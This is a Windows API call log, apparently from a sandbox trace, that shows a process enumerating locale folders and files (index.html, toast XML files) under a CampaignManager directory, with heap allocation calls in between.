	[0154.719] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.719] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.719] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.719] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.719] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.719] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0154.720] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.720] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1
	[0154.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.720] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.721] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.721] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.721] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.722] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.722] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.722] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.722] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.723] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1
	[0154.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0154.724] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.724] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.724] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.724] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.724] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.724] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.724] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0154.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.725] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1
	[0154.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.726] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.726] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.726] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.726] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.726] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.726] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.727] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.727] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1
	[0154.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0154.729] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.729] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.729] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.729] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.729] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.729] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.730] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0154.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.731] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1
	[0154.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0154.732] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.732] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.732] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
